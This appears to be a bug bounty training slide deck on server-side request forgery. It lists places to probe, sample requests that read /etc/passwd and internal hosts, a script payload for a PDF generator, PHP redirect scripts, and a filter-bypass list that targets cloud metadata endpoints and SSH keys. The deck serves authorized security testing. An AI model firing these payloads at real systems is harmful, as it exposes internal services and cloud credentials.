



SSRF Bug Hunting Methodology

Become a Successful
Bug Bounty Hunter



SSRF – What is it?

- Server Side Request Forgery
- Attacker is tricking the application to make calls to either itself or to other internal systems



SSRF – Approach

- Look for Developer Portals
- Look for anything that takes in URL
- Look for Webhook testing
- Look for API consoles
- Usually filters in place
- Where is a filter there is a bypass!



SSRF – Approach

- Leverage previously found open redirects
- Host your own server to redirect to
- User XAMPP / NGROK
- Look for redirect parameters or URL input like:
`url=, targetUrl=, requestUrl=, path=`



SSRF – Approach

- Use Burp Collaborator
- User webhook.site
- Use XAMPP (web server)
- User NGROK (DNS and public IP)



SSRF – Example

- Example:
`https://site.com/upload?imageurl=https://othersite.com/image.jpg`
- Try localhost:
`https://site.com/upload?imageurl=http://127.0.0.1/etc/passwd`



SSRF – Example

- Example:
`https://site.com/upload?imageurl=https://othersite.com/image.jpg`
- Try internal systems:
`https://site.com/upload?imageurl=http://192.168.0.X`



SSRF – Example

- Example:
`https://site.com/upload?imageurl=https://othersite.com/image.jpg`
- Try internal systems on other ports:
`https://site.com/upload?imageurl=http://192.168.0.X:8080`



SSRF – Markdown

SSRF through Markdown in PDF generator

```
<script>  
function resp () {  
  document.write(this.responseText);  
}  
var xmlreq = new XMLHttpRequest();  
xmlreq.addEventListener("load", resp);  
xmlreq.open("GET", "file:///etc/passwd");  
xmlreq.send();  
</script>
```



SSRF – Headers

- Check Headers!
- Try the Header X-Forwarded-For:
- Try inserting a Burp Collaborator payload into the Referer:
- Referer: <https://BURPCOLLABORATOR>



SSRF – Own redirect server

On your own server host redirect scripts like these and then redirect to:

```
<?php header("Location: 127.0.0.1");?>
```

or

```
<?php $url=$_GET['url'];  
header("Location:".$url);  
?>
```




SSRF – Filter Bypasses

Bypasses. Do try http and https!!!

<http://127.0.0.1:80>

<http://0.0.0.0:80>

<http://localhost:80>

[http://\[::\]:80/](http://[::]:80/)

<http://spoofed.burpcollaborator.net>

<http://localtest.me>

<http://customer1.app.localhost.my.company.127.0.0.1.nip.io>

<http://mail.ebc.apple.com> redirect to 127.0.0.6 == localhost

<http://bugbounty.dod.network> redirect to 127.0.0.2 == localhost

<http://127.127.127.127>

<http://2130706433/> = <http://127.0.0.1>

[http://\[0:0:0:0:ffff:127.0.0.1\]](http://[0:0:0:0:ffff:127.0.0.1])

localhost:+11211aaa

<http://0/>

<http://1.1.1.1 & @2.2.2.2# @3.3.3.3/>

<http://127.1.1.1:80\@127.2.2.2:80/>

<http://127.1.1.1:80\@\@127.2.2.2:80/>

<http://127.1.1.1:80\@\@127.2.2.2:80/>

<http://127.1.1.1:80#\@127.2.2.2:80/>

<http://169.254.169.254>

<http://evil.com:80;http://google.com:80/>

<http://127.0.0.1:2379/v2/keys/?recursive=true>

<http://169.254.169.254/metadata/v1.json>

<http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json>

<http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true>

<http://169.254.169.254/computeMetadata/v1/>



Thank You!

Become a Successful
Bug Bounty Hunter